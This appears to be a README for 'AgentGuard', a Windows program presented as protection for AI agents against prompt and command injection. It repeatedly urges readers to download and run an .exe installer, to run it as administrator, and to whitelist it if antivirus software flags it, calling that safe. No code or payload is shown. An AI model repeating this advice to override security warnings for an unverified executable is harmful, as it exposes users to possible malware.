AgentGuard is a security tool designed to protect AI agents from harmful attacks. It safeguards your AI against prompt injection, command injection, and Unicode bypass attacks. These threats can confuse or trick AI systems to behave in unwanted ways. AgentGuard adds a strong layer of defense to keep your AI running safely.
You do not need any technical knowledge to use AgentGuard. This guide will take you through simple steps to get the software running on your Windows computer.
Before you start, make sure your computer meets these basic needs:
- Operating System: Windows 10 or newer (64-bit preferred)
- Processor: Intel or AMD processor with at least 2 GHz speed
- Memory: Minimum 4 GB RAM
- Disk Space: At least 200 MB free space
- Administrator Access: You will need to allow the program to install and run
You can get AgentGuard by visiting the official releases page. Follow this link to access the latest version:
Visit the AgentGuard Releases Page
You will find several files listed. Look for the latest Windows installer file. It usually ends with .exe and has the highest version number or latest date.
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Open the releases page
Click on the link above to open the AgentGuard releases page in your web browser. -
Find the latest Windows file
Scroll through the files to find one named similar toAgentGuard_Setup_vX.X.exe. This is the installer for Windows. -
Download the file
Click on the file name. Your browser will start downloading the setup file. -
Run the installer
Once download finishes, find the file in your "Downloads" folder. Double-click it to run the installer. -
Follow the installation steps
A setup wizard will open. Click "Next" on each screen to continue. Choose the default settings unless you want to change the install location. -
Finish installation
When the setup is complete, click "Finish." AgentGuard will now be installed on your computer. -
Open AgentGuard
Find AgentGuard in the Start menu or on your desktop. Launch the program to begin using it.
AgentGuard watches the commands and prompts you send to your AI agents. It uses strict checks to catch suspicious input before it reaches the AI. This prevents common tricks hackers use to confuse or control your AI.
Key ways AgentGuard protects your AI:
- Blocks prompt injection attempts that try to change AI behavior
- Stops dangerous command injections that could cause errors or leaks
- Detects and rejects Unicode characters used to bypass normal filters
This security framework runs quietly in the background, adding protection without slowing down your AI.
AgentGuard works well with default settings for most users. Here are a few tips if you want to adjust its behavior:
- Turn on detailed logging if you want to see alerts when blocking takes place
- Whitelist trusted commands or prompts to prevent blocking needed operations
- Update regularly to get new protections against emerging threats
You can find these options in the "Settings" tab after opening AgentGuard.
Here are some common issues you might face when running AgentGuard and how to fix them:
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Installer won’t run:
Right-click the installer and select "Run as Administrator." This gives it the permissions needed to install. -
Antivirus flags AgentGuard:
Some security programs may warn about new software. You can usually allow or whitelist AgentGuard safely. -
Program won’t start:
Make sure your Windows is up to date. Restart your computer and try again. -
Blocked a command you expected to allow:
Review the logs and add that command to the whitelist in settings.
Start protecting your AI agents today by visiting the releases page below:
Download AgentGuard for Windows
Click the link, download the latest Windows installer, and follow the steps above to install.
- AgentGuard was built as a strong defense against growing AI vulnerabilities.
- It runs locally on your computer and does not send your data to the internet.
- No programming or coding knowledge is required to use it.
Check the releases page regularly to download updates. Updates include improved detection and new security rules.
If you need help, use the "Issues" section on the GitHub repository to report problems or ask questions.